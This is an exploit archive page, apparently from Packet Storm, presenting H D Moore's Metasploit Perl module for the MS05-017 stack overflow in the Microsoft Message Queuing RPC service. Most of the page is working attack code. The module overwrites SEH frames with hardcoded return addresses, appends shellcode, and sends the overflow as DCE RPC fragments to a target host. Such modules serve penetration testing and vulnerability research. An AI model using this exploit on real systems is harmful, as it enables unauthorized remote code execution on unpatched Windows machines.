what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

msmq_deleteobject_ms05_017.pm

msmq_deleteobject_ms05_017.pm
Posted May 27, 2005
Authored by H D Moore

This Metasploit module exploits a stack overflow in the RPC interface to the Microsoft Message Queuing service as referenced in MS05-017.

tags | exploit, overflow
SHA-256 | fa72368caa77bec224e8b7d0ddb3a67e2c0fb11a97fa1a6b39df5c796f6d42a8

msmq_deleteobject_ms05_017.pm

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::msmq_deleteobject_ms05_017;
use strict;
use base "Msf::Exploit";
use Pex::DCERPC;
use Pex::Text;
use Pex::x86;

my $advanced =
{
'FragSize' => [1024, 'The application fragment size to use with DCE RPC'],
};

my $info =
{
'Name' => 'Microsoft Message Queueing Service MSO5-017',
'Version' => '$Revision: 1.6 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com>',
],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp' ],
'Priv' => 1,

'AutoOpts' => { 'EXITFUNC' => 'process' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 2103 ],
'HNAME' => [1, 'DATA', 'The netbios name of the target'],
},

'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'Keys' => ['+ws2ord'],
# sub esp, 4097 + inc esp makes stack happy
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the RPC interface to the Microsoft
Message Queueing service. The offset to the return address changes based on the
length of the system hostname, so this must be provided via the 'HNAME' option.
Much thanks to snort.org and Jean-Baptiste Marchand's excellent MSRPC website.
}),

'Refs' =>
[
[ 'OSVDB', '15458' ],
[ 'CVE', '2005-0059' ],
[ 'MSB', 'MS05-017' ],
],

'DefaultTarget' => 0,
'Targets' =>
[
[ 'Windows 2000 ALL / Windows XP SP0-SP1 (English)', 0x004014e9, 0x01001209 ], # mqsvc.exe
],

'Keys' => ['msmq'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_name = $self->GetVar('HNAME');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $fragsize = $self->GetVar('FragSize') || 2000;

my $target = $self->Targets->[$target_idx];
my ($res, $rpc);

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine("[*] Socket error: " . $s->GetError());
return(0);
}


# MSMQ supports three forms of queue names, the two we can use are
# the IP address and the hostname. If we use the IP address via the
# TCP: format, the offset to the SEH frame will change depending on
# the length of the real hostname. For this reason, we force the user
# to supply us with the actual hostname.

# Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName

my $name = "OS:$target_name";
my $hlen = length($target_name) * 2;

my $quepath = Pex::SMB->NTUnicode("$name\\PRIVATE\$\\");
my $pattern = Pex::Text::EnglishText(4000);

# Windows 2000 SEH offset goes first
substr($pattern, 332 + $hlen + 0, 4, pack('V', $target->[1]));
substr($pattern, 332 + $hlen - 4, 2, "\xeb\x22");

# Windows XP SEH offset goes second
substr($pattern, 368 + $hlen + 0, 4, pack('V', $target->[2]));
substr($pattern, 368 + $hlen - 4, 2, "\xeb\x06");

# Finally the shellcode on the end
substr($pattern, 368 + $hlen + 4, length($shellcode), $shellcode);

if ($self->GetVar('DEBUGME')) {
$self->PrintLine("[*] Switching to the diagnostics request pattern");
$pattern = Pex::Text::PatternCreate(4000);
}

# Append the path to the location and null terminate it
$quepath .= $pattern . "\x00\x00";

# Get the unicode length of this string
my $pathlen = int(length($quepath) / 2);

# Stick the RPC stub header on and set the request length
my $overflow = pack('VVVVVV', 1, 1, 1, 3, 3, 2);
$overflow .= pack('VVV', $pathlen, 0, $pathlen);
$overflow .= $quepath;

# Create our RPC packets for the transaction
my $bind = Pex::DCERPC::Bind(Pex::DCERPC::UUID('MSMQ'), '1.0');
my @pkts = Pex::DCERPC::Request(9, $overflow, $fragsize);

# Bind to the MSMQ interface and send the request as fragments
$self->PrintLine("[*] Attempting to exploit the MSMQ service with ".scalar(@pkts)." frags");
$s->Send($bind);
$res = $self->RecvRPC($s);

# Loop through and send each RPC fragment
foreach my $pkt (@pkts) {
$s->Send($pkt);
}

# Try to read the server response
$res = $self->RecvRPC($s);

# Something bad happened, print it out
if ($res->{'Type'} eq 'fault') {
$self->PrintLine(sprintf("[*] The target replied with RPC fault status 0x%.8x", $res->{'Status'}));
}

if ($res->{'StubData'} eq "\x20\x00\x0e\xc0") {
$self->PrintLine("[*] Request rejected, possibly due to invalid hostname");
return;
}

if ($res->{'StubData'} eq "\x1e\x00\x0e\xc0" || $res->{'StubData'} eq "\x7a\x00\x07\x80") {
$self->PrintLine("[*] The target system does not appear to be vulnerable");
return;
}

if (length($res->{'StubData'})) {
$self->PrintLine("[*] Unknown response received: ".unpack("H*", $res->{'StubData'}));
return;
}

# Wait a couple seconds for the handler to kick in before printing an error
select(undef, undef, undef, 2);

$self->PrintLine("[*] No response received, possible Windows XP SP2 target");
return;
}


sub RecvRPC {
my $self = shift;
my $sock = shift;
my $head = $sock->Recv(10, 10);

# Check the DCERPC header
return if (! $head || length($head) < 10);

# Read the DCERPC body
my $dlen = unpack('v', substr($head, 8, 2));
my $body = $sock->Recv($dlen - 10, 10);
my $resp = Pex::DCERPC::DecodeResponse($head.$body);

return $resp;
}

1;

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close